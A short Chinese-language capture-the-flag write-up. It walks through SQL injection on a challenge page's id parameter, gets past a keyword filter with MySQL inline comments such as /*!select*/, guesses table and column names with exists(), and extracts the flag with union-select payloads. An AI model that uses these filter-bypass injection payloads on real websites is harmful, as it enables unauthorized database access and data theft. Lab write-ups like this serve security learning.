先提交1试试看:
发现显示是正常的,然后再提交id=1':
说明'是可以影响SQL语句的,并没有被过滤掉
然后我们尝试id=1' or ''='发现空格和or关键字都没有被过滤,很好
再尝试看and关键字,令id=1' and 1=1 or''=':发现报错,将and换成大写也不行,看来是被过滤掉了
接着尝试使用()、/**/、/*!*/等方法绕过,发现/*!关键字*/的方法是可以绕过的:
于是开始猜测表名:id=' or /*! exists*/ (/*!select*/ * /*!from*/ admin) /*!and*/ ''='表名不存在
这里说一下exists()的用法:查看是否有子返回集,例如上面的一条语句,首先执行的是exists()里面的命令,使用它的结果只有两个:true和false,要么查询所有数据,要么没有数据。
发现表名错误,那表名不是admin的话,可能是啥?试一下password,也不对,那我怎么知道这表名是什么,呃,,,对了,这里还有一个名字:flag呀,不会是你吧,试一下。
猜测表名为flag,
哎呀,还真是:
猜测列名存在name:
使用联合查询看列数:id=' /*!union*/ /*!select*/ 1,2 /*!from*/ flag /*!where*/ ''='
怎报错那,不应该啊。
哦,,,说明之前回显的name只是我们输入的参数而已
当我们构造id=' /*!union*/ /*!select*/ name /*!from*/ flag /*!where*/ ''='时却显示错误,
name 也不对,那,,,,我再试一下 flag吧!当构造id=' /*!union*/ /*!select*/ flag /*!from*/ flag /*!where*/ ''='
显示出flag